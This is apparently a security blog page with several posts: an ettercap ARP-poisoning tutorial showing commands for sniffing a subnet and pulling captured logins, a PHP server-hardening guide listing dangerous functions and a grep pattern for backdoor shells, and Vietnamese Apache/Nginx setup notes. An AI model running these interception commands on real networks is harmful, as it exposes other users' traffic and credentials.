The Heartbleed bug

Posted: April 11, 2014 by teser02 in Bug

When I wrote about the GnuTLS bug, I said that this isn’t the last severe TLS stack bug we’d see. I didn’t expect it to be quite this bad, however.

The Heartbleed bug is a particularly nasty bug. It allows an attacker to read up to 64KB of memory, and the security researchers have said:

Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.

How could this happen? Let’s read the code and find out. Read the rest of this entry »

Using ettercap for ARP poisoning

Posted: March 18, 2012 by Hacking & Relax in Tutorial
Tags: , , ,

Ettercap is certainly nothing new, and there is plenty of documentation around to see how to use it, but I was sitting here goofing around and decided to record my results. I am not advocating this type of thing on a public network, and ARP poisoning or other attacks often fall afoul of terms of service for public and private networks, and may even be illegal in some jurisdictions.

First, I looked at my default route.

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface   U     2      0        0 wlan0         UG    0      0        0 wlan0

To sniff the whole subnet, I’ll want to do some ARP poisoning to send all traffic to/from the default route through my system.

$ sudo ettercap -i wlan0 -T -M arp:remote / //

You can also use “// //” to designate ARP poisoning no matter what source and destination ettercap sees. The “-T” tells ettercap to use the text interface, which is still interactive. There is also a curses-based interface, “-C”, and GTK with “-G” though it has always seemed less reliable to me than the others. The curses interface is actually pretty nice.

Once you run the command, ettercap should enumerate hosts and you will start seeing a bunch of traffic information scrolling through your console. How do we know if it’s actually working? If you see non-broadcast traffic destined for other hosts, it will be obvious and you will know you’re successfully sniffing all the traffic.

Another fun way is by opening etherape to see a realtime visualization of the traffic. If you are seeing typical non-broadcast traffic like HTTP, HTTPS, that’s an indicator that you’re successfully ARP poisoning. You can also get a quick idea if there are particular hosts getting a lot of traffic activity. I’ve seen the typical sites like Facebook, Amazon, Akamai, and LLNW, but also more interesting sites that are easily identifiable as VPN concentrators, banks, and more.

You can also of course use various tools including ettercap with the “-w” option to write traffic to a file and review at my leisure to look for interesting data. Ettercap also has an interesting utility to automatically grab usernames and passwords. From the man page:

-L, –log
Log  all  the packets to binary files. These files can be parsed
by etterlog(8) to extract human readable data. With this option,
all  packets  sniffed  by ettercap will be logged, together with
all the passive info (host info + user & pass) it  can  collect.
Given  a LOGFILE, ettercap will create LOGFILE.ecp (for packets)
and LOGFILE.eci (for the infos).

If you didn’t run this with ettercap originally, you can also run it on a saved packet capture.

$ ettercap -r hotel.raw -L hotel

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Please select an User Interface

$ ls hotel*
hotel.eci  hotel.ecp  hotel.raw

$ etterlog -a hotel.eci

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version    : NG-0.7.3
Timestamp           : Wed Feb 16 14:20:57 2010
Type                : LOG_INFO

Number of hosts (total)       : 248

Number of local hosts         : 30
Number of non local hosts     : 0
Number of gateway             : 0

Number of discovered services : 240
Number of accounts captured   : 4

$ etterlog -p hotel.eci   TCP 80     USER: fakeuser      PASS: fakepasswd

I changed the data above and of course most sites these days are hopefully forcing encrypted logins.

These days, many sites can be hosted on one IP or virtual server. If you’re not catching the DNS or HTTP request specifically before the login that was captured, the easiest way to determine which site on a specific IP was being visited would be opening up the packet capture with a tool like Wireshark, using a filter for the IP, then looking at the actual web traffic for the site’s name. Looking in Wireshark, I can see the GET immediately after the TCP handshake.

GET /members/bbs/showthread.php HTTP/1.1

This really just scratches the surface of what you can do with ettercap and other network tools. ARP poisoning still works, particularly on public networks, and many people log in to many services that can be easily compromised through sniffing (I write while sitting in an airport on public WiFi logged into my blogger account). A relatively recent high profile example was when the Metasploit site was briefly hijacked by successful ARP poisoning.

There are numerous other attacks besides sniffing that could succeed when ARP poisoning, many involving redirecting traffic or injecting malicious content. For instance, you can use something like sslstrip to redirect all HTTPS traffic to HTTP, grabbing credentials in the process. You could also inject content directly using etterfilter.

The etterfilter utility is used to compile  source  filter  files  into
binary  filter  files that can be interpreted by the JIT interpreter in
the ettercap(8) filter engine. You have to compile your filter  scripts
in  order  to  use  them  in  ettercap. All syntax/parse errors will be
checked at compile time, so you will  be  sure  to  produce  a  correct
binary filter for ettercap.
Using etterfilter you can inject new packets, replace data in packets, and more. If someone is visiting what they consider a known safe site, replacing data or injecting malicious packets can be quite successful. At a previous job, we had a non-production network for attack and defend fun, and with etterfilter I was able to replace all image requests by one of my colleagues’ browser and instead have it request the image to the left.

Although my example above is obviously on a wireless network as shown by using the wlan0 interface, you can easily perform ARP poisoning on a local wired segment. There are also a number of ways to help detect or prevent poisoning with your network appliances or software.

Finally, ettercap also has a number of interesting plugins available.
$ ettercap -P list

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Available plugins :

arp_cop  1.1  Report suspicious ARP activity
autoadd  1.2  Automatically add new victims in the target range
chk_poison  1.1  Check if the poisoning had success
dns_spoof  1.1  Sends spoofed dns replies
dos_attack  1.0  Run a d.o.s. attack against an IP address
dummy  3.0  A plugin template (for developers)
find_conn  1.0  Search connections on a switched LAN
find_ettercap  2.0  Try to find ettercap activity
find_ip  1.0  Search an unused IP address in the subnet
finger  1.6  Fingerprint a remote host
finger_submit  1.0  Submit a fingerprint to ettercap’s website
gre_relay  1.0  Tunnel broker for redirected GRE tunnels
gw_discover  1.0  Try to find the LAN gateway
isolate  1.0  Isolate an host from the lan
link_type  1.0  Check the link type (hub/switch)
pptp_chapms1  1.0  PPTP: Forces chapms-v1 from chapms-v2
pptp_clear  1.0  PPTP: Tries to force cleartext tunnel
pptp_pap  1.0  PPTP: Forces PAP authentication
pptp_reneg  1.0  PPTP: Forces tunnel re-negotiation
rand_flood  1.0  Flood the LAN with random MAC addresses
remote_browser  1.2  Sends visited URLs to the browser
reply_arp  1.0  Simple arp responder
repoison_arp  1.0  Repoison after broadcast ARP
scan_poisoner  1.0  Actively search other poisoners
search_promisc  1.2  Search promisc NICs in the LAN
smb_clear  1.0  Tries to force SMB cleartext auth
smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
stp_mangler  1.0  Become root of a switches spanning tree


Fun with Ettercap Filters:

Linux: 25 PHP Security Best Practices For Sys Admins

Posted: February 21, 2012 by Hacking & Relax in PHP
Tags: , , ,

PHP is an open-source server-side scripting language and it is a widely used. The Apache web server provides access to files and content via the HTTP OR HTTPS protocol. A misconfigured server-side scripting language can create all sorts of problems. So, PHP should be used with caution. Here are twenty-fivephp security best practices for sysadmins for configuring PHP securely.

Our Sample Setup For PHP Security Tips

  • DocumentRoot: /var/www/html
  • Default Web server: Apache ( you can use Lighttpd or Nginx instead of Apache)
  • Default PHP configuration file: /etc/php.ini
  • Default PHP extensions config directory: /etc/php.d/
  • Our sample php security config file: /etc/php.d/security.ini (you need to create this file using a text editor)
  • Operating systems: RHEL / CentOS / Fedora Linux (the instructions should work with any other Linux distributions such as Debian / Ubuntu or other Unix like operating systems such as OpenBSD/FreeBSD/HP-UX).
  • Default php server TCP/UDP ports: none

Most of the actions listed in this post are written with the assumption that they will be executed by the root user running the bash or any other modern shell:
$ php -v
Sample outputs:

PHP 5.3.3 (cli) (built: Oct 24 2011 08:35:41)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

For demonstration purpose I’m going to use the following operating system:
$ cat /etc/redhat-release
Sample outputs:

Red Hat Enterprise Linux Server release 6.1 (Santiago)

#1: Know Your Enemy

PHP based apps can face the different types of attacks. I have noticed the different types of attacks:

  1. XSS – Cross-site scripting is a vulnerability in php web applications, which attackers may exploit to steal users’ information. You can configure Apache and write more secure PHP scripts (validating all user input) to avoid xss attacks.
  2. SQL injection – It is a vulnerability in the database layer of an php application. When user input is incorrectly filtered any SQL statements can be executed by the application. You can configure Apache and write secure code (validating and escaping all user input) to avoid SQL injection attacks. A common practice in PHP is to escape parameters using the function called mysql_real_escape_string() before sending the SQL query.
  3. File uploads – It allows your visitor to place files (upload files) on your server. This can result into various security problems such as delete your files, delete database, get user details and much more. You can disable file uploads using php or write secure code (like validating user input and only allow image file type such as png or gif).
  4. Including local and remote files – An attacker can open files from remote server and execute any PHP code. This allows them to upload file, delete file and install backdoors. You can configure php to disable remote file execution.
  5. eval() – Evaluate a string as PHP code. This is often used by an attacker to hide their code and tools on the server itself. You can configure php to disable eval().
  6. Sea-surf Attack (Cross-site request forgery – CSRF) – This attack forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

#2: Find Built-in PHP Modules

To see the set of compiled-in PHP modules type the following command:
# php -m
Sample outputs:

[PHP Modules]
[Zend Modules]

I recommends that you use PHP with a reduced modules for performance and security. For example, you can disable sqlite3 module by deleting (removing) configuration file , ORrenaming (moving) a file called /etc/php.d/sqlite3.ini as follows:
rm /etc/php.d/sqlite3.ini
mv /etc/php.d/sqlite3.ini /etc/php.d/sqlite3.disable
Other compiled-in modules can only be removed by reinstallating PHP with a reduced configuration. You can download php source code from and compile it as follows with GD, fastcgi, and MySQL support:

./configure --with-libdir=lib64 --with-gd --with-mysql --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/usr/include --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/usr/com --mandir=/usr/share/man --infodir=/usr/share/info --cache-file=../config.cache --with-config-file-path=/etc --with-config-file-scan-dir=/etc/php.d  --enable-fastcgi --enable-force-cgi-redirect

See how to compile and reinstall php on Unix like operating system for more information.

#3: Restrict PHP Information Leakage

To restrict PHP information leakage disable expose_php. Edit /etc/php.d/secutity.ini and set the following directive:


When enabled, expose_php reports to the world that PHP is installed on the server, which includes the PHP version within the HTTP header (e.g., X-Powered-By: PHP/5.3.3). The PHP logo guids (see example) are also exposed, thus appending them to the URL of a PHP enabled site will display the appropriate logo. When expose_php enabled you can see php version using the following command:
$ curl -I
Sample outputs:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Content-type: text/html; charset=UTF-8
Vary: Accept-Encoding, Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=wikiToken;string-contains=wikiLoggedOut;string-contains=wiki_session
Last-Modified: Thu, 03 Nov 2011 22:32:55 GMT

I also recommend that you setup the ServerTokens and ServerSignature directives in httpd.conf to hide Apache version and other information.

#4: Minimize Loadable PHP Modules (Dynamic Extensions)

PHP supports “Dynamic Extensions”. By default, RHEL loads all the extension modules found in /etc/php.d/ directory. To enable or disable a particular module, just find the configuration file in /etc/php.d/ directory and comment the module name. You can also rename or delete module configuration file. For best PHP performance and security, you should only enable the extensions your webapps requires. For example, to disable gd extension, type the following commands:
# cd /etc/php.d/
# mv gd.{ini,disable}
/sbin/service httpd restart

To enable php module called gd, enter:
# mv gd.{disable,ini}
/sbin/service httpd restart

#5: Log All PHP Errors

Do not expose PHP error messages to all site visitors. Edit /etc/php.d/security.ini and set the following directive:


Make sure you log all php errors to a log file:


#6: Disallow Uploading Files

Edit /etc/php.d/security.ini and set the following directive to disable file uploads for security reasons:


If users of your application need to upload files, turn this feature on by settingupload_max_filesize limits the maximum size of files that PHP will accept through uploads:

# user can only upload upto 1MB via php

#7: Turn Off Remote Code Execution

If enabled, allow_url_fopen allows PHP’s file functions — such as file_get_contents() and the include and require statements — can retrieve data from remote locations, like an FTP or web site.

The allow_url_fopen option allows PHP’s file functions – such as file_get_contents() and the include and require statements – can retrieve data from remote locations using ftp or http protocols. Programmers frequently forget this and don’t do proper input filtering when passing user-provided data to these functions, opening them up to code injection vulnerabilities. A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. Edit /etc/php.d/security.ini and set the following directive:


I also recommend to disable allow_url_include for security reasons:


#8: Enable SQL Safe Mode

Edit /etc/php.d/security.ini and set the following directive:


If turned On, mysql_connect() and mysql_pconnect() ignore any arguments passed to them. Please note that you may have to make some changes to your code. Third party and open source application such as WordPress, and others may not work at all when sql.safe_mode enabled. I also recommend that you turn off magic_quotes_gpc for all php 5.3.x installations as the filtering by it is ineffective and not very robust. mysql_escape_string() and custom filtering functions serve a better purpose (hat tip to Eric Hansen):


#9: Control POST Size

The HTTP POST request method is used when the client (browser or user) needs to send data to the Apache web server as part of the request, such as when uploading a file or submitting a completed form. Attackers may attempt to send oversized POST requests to eat your system resources. You can limit the maximum size POST request that PHP will process. Edit /etc/php.d/security.ini and set the following directive:

; Set a realistic value here

The 1K sets max size of post data allowed by php apps. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. I also suggest that you limit available methods using Apache web server. Edit, httpd.conf and set the following directive for DocumentRoot /var/www/html:

<Directory /var/www/html>
    <LimitExcept GET POST>
        Order allow,deny
## Add rest of the config goes here... ##

#10: Resource Control (DoS Control)

You can set maximum execution time of each php script, in seconds. Another recommend option is to set maximum amount of time each script may spend parsing request data, and maximum amount of memory a script may consume. Edit /etc/php.d/security.ini and set the following directives:

# set in seconds
max_execution_time =  30
max_input_time = 30
memory_limit = 40M

#11: Install Suhosin Advanced Protection System for PHP

From the project page:

Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.

See how to install and configure suhosin under Linux operating systems.

#12 Disabling Dangerous PHP Functions

PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in /etc/php.d/security.ini using disable_functions directive:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

#13 PHP Fastcgi / CGI – cgi.force_redirect Directive

PHP work with FastCGI. Fascgi reduces the memory footprint of your web server, but still gives you the speed and power of the entire PHP language. You can configureApache2+PHP+FastCGI or cgi as described here. The configuration directive cgi.force_redirect prevents anyone from calling PHP directly with a URL like Turn on cgi.force_redirect for security reasons. Edit /etc/php.d/security.ini and set the following directive:

; Enable cgi.force_redirect for security reasons in a typical *Apache+PHP-CGI/FastCGI* setup

#14 PHP User and Group ID

mod_fastcgi is a cgi-module for Apache web server. It can connect to an external FASTCGI server. You need to make sure php run as non-root user. If PHP executes as a root or UID under 100, it may access and/or manipulate system files. You must execute PHP CGIs as a non-privileged user using Apache’s suEXEC or mod_suPHP. The suEXEC feature provides Apache users the ability to run CGI programs under user IDs different from the user ID of the calling web server. In this example, my php-cgi is running as phpcgi user and apache is running as apache user:
# ps aux | grep php-cgi
Sample outputs:

phpcgi      6012  0.0  0.4 225036 60140 ?        S    Nov22   0:12 /usr/bin/php-cgi
phpcgi      6054  0.0  0.5 229928 62820 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6055  0.1  0.4 224944 53260 ?        S    Nov22   0:18 /usr/bin/php-cgi
phpcgi      6085  0.0  0.4 224680 56948 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6103  0.0  0.4 224564 57956 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6815  0.4  0.5 228556 61220 ?        S    00:52   0:19 /usr/bin/php-cgi
phpcgi      6821  0.3  0.5 228008 61252 ?        S    00:55   0:12 /usr/bin/php-cgi
phpcgi      6823  0.3  0.4 225536 58536 ?        S    00:57   0:13 /usr/bin/php-cgi

You can use tool such as spawn-fcgi to spawn remote and local FastCGI processes as phpcgi user (first, add phpcgi user to the system):
# spawn-fcgi -a -p 9000 -u phpcgi -g phpcgi -f /usr/bin/php-cgi
Now, you can configure ApacheLighttpd, and Nginx web server to use external php FastCGI running on port 9000 at IP address.

#15 Limit PHP Access To File System

The open_basedir directive set the directories from which PHP is allowed to access files using functions like fopen(), and others. If a file is outside of the paths defined by open_basdir, PHP will refuse to open it. You cannot use a symbolic link as a workaround. For example only allow access to /var/www/html directory and not to /var/www, or /tmp or /etc directories:

; Limits the PHP process from accessing files outside
; of specifically designated directories such as /var/www/html/
; ------------------------------------
; Multiple dirs example
; open_basedir="/home/httpd/vhost/"
; ------------------------------------

#16 Session Path

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site. This path is defined in /etc/php.ini file and all data related to a particular session will be stored in a file in the directory specified by the session.save_path option. The default is as follows under RHEL/CentOS/Fedora Linux:

; Set the temporary directory used for storing files when doing file upload

Make sure path is outside /var/www/html and not readable or writeable by any other system users:
# ls -Z /var/lib/php/
Sample outputs:

drwxrwx---. root apache system_u:object_r:httpd_var_run_t:s0 session

Note: The -Z option to the ls command display SELinux security context such as file mode, user, group, security context and file name.

#17 Keep PHP, Software, And OS Up to Date

Applying security patches is an important part of maintaining Linux, Apache, PHP, and MySQL server. All php security update should be reviewed and applied as soon as possible using any one of the following tool (if you’re installing PHP via a package manager):
yum update
apt-get update && apt-get upgrade
You can configure Red hat / CentOS / Fedora Linux to send yum package update notification via email. Another option is to apply all security updates via a cron job. Under Debian / Ubuntu Linux you can use apticron to send security notifications.

Note: Check for the most recent release for source code installations.

#18: Restrict File and Directory Access

Make sure you run Apache as a non-root user such as Apache or www. All files and directory should be owned by non-root user (or apache user) under /var/www/html:
chown -R apache:apache /var/www/html/
/var/www/html/ is a subdirectory and DocumentRoot which is modifiable by other users since root never executes any files out of there, and shouldn’t be creating files in there.

Make sure file permissions are set to 0444 (read-only) under /var/www/html/:
# chmod -R 0444 /var/www/html/
Make sure all directories permissions are set to 0445 under /var/www/html/:
find /var/www/html/ -type d -print0 | xargs -0 -I {} chmod 0445 {}

A Note About Setting Up Correct File Permissions

The chown and chmod command make sures that under no circumstances DocumentRoot or files contained in DocumentRoot are writable by the Web server user apache. Please note that you need to set permissions that makes the most sense for the development model of your website, so feel free to adjust the chown and chmod command as per your requirements. In this example, the Apache server run as apache user. This is configured with the User andGroup directives in your httpd.conf file. The apache user needs to have read access to everything under DocumentRoot but should not have write access to anything.

Make sure httpd.conf has the following directives for restrictive configuration:

<Directory / >
    Options None
    AllowOverride None
    Order allow,deny

You should only grant write access when required. Some web applications such as wordpress and others may need a caching directory. You can grant a write access to caching directory using the following commands:
# chmod a+w /var/www/html/blog/wp-content/cache
### block access to all ###
# echo 'deny from all' > /var/www/html/blog/wp-content/cache/.htaccess

#19: Write Protect Apache, PHP, and, MySQL Configuration Files

Use the chattr command to write protect configuration files:
# chattr +i /etc/php.ini
# chattr +i /etc/php.d/*
# chattr +i /etc/my.ini
# chattr +i /etc/httpd/conf/httpd.conf
# chattr +i /etc/

The chattr command can write protect your php file or files in /var/www/html directory too:
# chattr +i /var/www/html/file1.php
# chattr +i /var/www/html/

#20: Use Linux Security Extensions (such as SELinux)

Linux comes with various security patches which can be used to guard against misconfigured or compromised server programs. If possible use SELinux and other Linux security extensionsto enforce limitations on network and other programs. For example, SELinux provides a variety of security policies for Linux kernel and Apache web server. To list all Apache SELinux protection variables, enter:
# getsebool -a | grep httpd
Sample outputs:

allow_httpd_anon_write --> off
allow_httpd_mod_auth_ntlm_winbind --> off
allow_httpd_mod_auth_pam --> off
allow_httpd_sys_script_anon_write --> off
httpd_builtin_scripting --> on
httpd_can_check_spam --> off
httpd_can_network_connect --> off
httpd_can_network_connect_cobbler --> off
httpd_can_network_connect_db --> off
httpd_can_network_memcache --> off
httpd_can_network_relay --> off
httpd_can_sendmail --> off
httpd_dbus_avahi --> on
httpd_enable_cgi --> on
httpd_enable_ftp_server --> off
httpd_enable_homedirs --> off
httpd_execmem --> off
httpd_read_user_content --> off
httpd_setrlimit --> off
httpd_ssi_exec --> off
httpd_tmp_exec --> off
httpd_tty_comm --> on
httpd_unified --> on
httpd_use_cifs --> off
httpd_use_gpg --> off
httpd_use_nfs --> off

To disable Apache cgi support, enter:
# setsebool -P httpd_enable_cgi off
See Red Hat SELinux guide for more information.

#21 Install Mod_security

ModSecurity is an open source intrusion detection and prevention engine for web applications. You can easily install mod_security under Linux and protect apache and php based apps from xss and various other attacks:

## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/

# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"

#22 Run Apache / PHP In a Chroot Jail If Possible

Putting PHP and/or Apache in a chroot jail minimizes the damage done by a potential break-in by isolating the web server to a small section of the filesystem. You can use traditional chroot kind of setup with Apache. However, I recommend FreeBSD jailsXEN virtulizationKVM virtulization, or OpenVZ virtualization which uses the concept of containers.

#23 Use Firewall To Restrict Outgoing Connections

The attacker will download file locally on your web-server using tools such as wget. Use iptables to block outgoing connections from apache user. The ipt_owner module attempts to match various characteristics of the packet creator, for locally generated packets. It is only valid in the OUTPUT chain. In this example, allow vivek user to connect outside using port 80 (useful for RHN or centos repo access):

/sbin/iptables -A OUTPUT -o eth0 -m owner --uid-owner vivek -p tcp --dport 80 -m state --state NEW,ESTABLISHED  -j ACCEPT

Here is another example that blocks all outgoing connections from apache user except to our own smtp server, and spam validation API service:

# ....
/sbin/iptables --new-chain apache_user
/sbin/iptables --append OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables --append OUTPUT -m owner --uid-owner apache -j apache_user
# allow apache user to connec to our smtp server
/sbin/iptables --append apache_user -p tcp --syn -d --dport 25 -j RETURN
# Allow apache user to connec to api server for spam validation
/sbin/iptables --append apache_user -p tcp --syn -d --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d --dport 80 -j RETURN
## Add more rules here ##
# No editing below
# Drop everything for apache outgoing connection
/sbin/iptables --append apache_user -j REJECT

#24 Watch Your Logs & Auditing

Check the apache log file:
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log

Check the php log file:
# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log

Log files will give you some understanding of what attacks is thrown against the server and allow you to check if the necessary level of security is present or not. The auditd service is provided for system auditing. Turn it on to audit SELinux events, authetication events, file modifications, account modification and so on. I also recommend using standard “Linux System Monitoring Tools” for monitoring your web-server.

#25 Run Service Per System or VM Instance

For large installations it is recommended that you run, database, static, and dynamic content from different servers.

/ ISP/Router /
     | LB01       |
     +------------+                 +--------------------------+
                  |                 | |
                                    | |

(Fig.01: Running Services On Separate Servers)

Run different network services on separate servers or VM instances. This limits the number of other services that can be compromised. For example, if an attacker able to successfully exploit a software such as Apache flow, he / she will get an access to entire server including other services running on the same server (such as MySQL, e-mail server and so on). But, in the above example content are served as follows:

  1. – Use lighttpd or nginx server for static assets such as js/css/images.
  2. and – Apache web-server with php used for generating dynamic content.
  3. – MySQL database server.
  4. – Memcached server is very fast caching system for MySQL. It uses libevent or epoll (Linux runtime) to scale to any number of open connections and uses non-blocking network I/O.
  5. LB01 – A nginx web and reverse proxy server in front of Apache Web servers. All connections coming from the Internet addressed to one of the Web servers are routed through the nginx proxy server, which may either deal with the request itself or pass the request wholly or partially to the main web servers. LB01 provides simple load-balancing.

#26 Additional Tools

From the project page:

PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to.

You can use PHPIDS to detect malicious users, and log any attacks detected for later review. Please note that I’ve personally not used this tool.

From the project page:

PhpSecInfo provides an equivalent to the phpinfo() function that reports security information about the PHP environment, and offers suggestions for improvement. It is not a replacement for secure development techniques, and does not do any kind of code or app auditing, but can be a useful tool in a multilayered security approach.

Security Information About PHP ApplicationFig.02: Security Information About PHP Application

See Linux security hardening tips which can reduce available vectors of attack on the system.

A Note About PHP Backdoors

You may come across php scripts or so called common backdoors such as c99, c99madshell, r57 and so on. A backdoor php script is nothing but a hidden script for bypassing all authentication and access your server on demand. It is installed by an attackers to access your server while attempting to remain undetected. Typically a PHP (or any other CGI script) script by mistake allows inclusion of code exploiting vulnerabilities in the web browser. An attacker can use such exploiting vulnerabilities to upload backdoor shells which can give him or her a number of capabilities such as:

  • Download files
  • Upload files
  • Install rootkits
  • Set a spam mail servers / relay server
  • Set a proxy server to hide tracks
  • Take control of server
  • Take control of database server
  • Steal all information
  • Delete all information and database
  • Open TCP / UDP ports and much more

Tip: How Do I Search PHP Backdoors?

Use Unix / Linux grep command to search c99 or r57 shell:
# grep -iR 'c99' /var/www/html/
# grep -iR 'r57' /var/www/html/
# find /var/www/html/ -name \*.php -type f -print0 | xargs -0 grep c99
# grep -RPn "(passthru|shell_exec|system|base64_decode|fopen|fclose|eval)" /var/www/html/


Your PHP based server is now properly harden and ready to show dynamic webpages. However, vulnerabilities are caused mostly by not following best practice programming rules. You should be consulted further resources for your web applications security needs especially php programming which is beyond the scope of sys admin work.


Cách build php module cho Apache

Posted: February 2, 2012 by Hacking & Relax in PHP
Tags: , , ,

Có nhiều cách build php để chạy với Apache, cách build php từ source thành một module của apache là cách đơn giản nhất, mình mới thử làm, các bạn xem và thảo luận nhé:
1.Download bản mới nhất về, giải nén ra:

2. Cài đặt và cấu hình
-Tiến hành

cd ../php-5.3.7
./configure --with-apxs2=/usr/local/apache2/bin/apxs
make install

-Tiến hành khởi động lại apache

/etc/init.d/httpd restart

-Tạo file php.ini

cp php.ini-development /usr/local/lib/php.ini

3.Kiểm tra cấu hình httpd.conf load php module
Tìm dòng:

LoadModule php5_module modules/

4.Cấu hình Apache sử lí file PHP:

<FilesMatch \.php$>
SetHandler application/x-httpd-php

-Nếu bạn muốn dùng nhiều loại file với mở rông: .php, .php2, .php3, .php4, .php5, .php6, and .phtml

<FilesMatch "\.ph(p[2-6]?|tml)$">
SetHandler application/x-httpd-php

5. Khởi động lại apache, tạo file phpinfo kiểm tra và hoàn tất.

View more:


Tối ưu hóa Nginx và PHP-FPM

Posted: February 2, 2012 by Hacking & Relax in Nginx
Tags: , , ,

Trong bài viết “Cài đặt Nginx và PHP-FPM trên CentOS 6” mình đã trình về những bước cài đặt và cấu hình cơ bản của Nginx + PHP-FPM. Trong bài viết tiếp theo này mình sẽ trình bày về một số cách tối ưu, giúp chúng ta dễ dàng hơn trong việc quản lý, cũng như duy trì hệ thống Web Server trên nền Nginx.

Read the rest of this entry »

Cài đặt Nginx và PHP-FPM trên CentOS 6

Posted: February 2, 2012 by Hacking & Relax in Nginx
Tags: , , ,

I – Cài đặt Nginx:

Bổ sung các Remi repository bằng cách cài đặt gói rpm sau

# rpm -Uvh

Sử dụng lệnh yum để cài đặt Nginx và PHP FPM từ Remi repo

# yum –enablerepo=remi install nginx php php-fpm php-common

Đảm bảo đầy đủ các gói như hình đưới đây… Read the rest of this entry »

Install Proxmox with USB

Posted: November 25, 2011 by Hacking & Relax in Linux

This is tutorial boot proxmox with USB. You must burn file *.iso. And then download a tool that will convert your usb stick into a bootable one (for example, unetbootin or usb universal installer).

Run program and choose: “Try Unlisted Linux ISO” –> create.

And then copy file *.iso (of proxmox) to usb.

Boot USB and type : debug (for debug)

When the boot process is completed, you will see a message similar to “no cdrom found – unable to continue (type exit or Ctrl-D to reboot)

From the console, I’ll simply type fdisk -l.

mount /dev/sdb1 /mnt (note : the /dev/sdb1 represent my stick on my system — Please change this value to reflect your settings)

mount -o loop -t iso9660 /mnt/proxmox_1-7.iso /mnt (again change accordingly based the name of your iso file… )

chroot /mnt  sbin/

If everything works as expected, you should see the ProxMox VE installer (the GUI basically) and you can go through the wizard to perform your installation.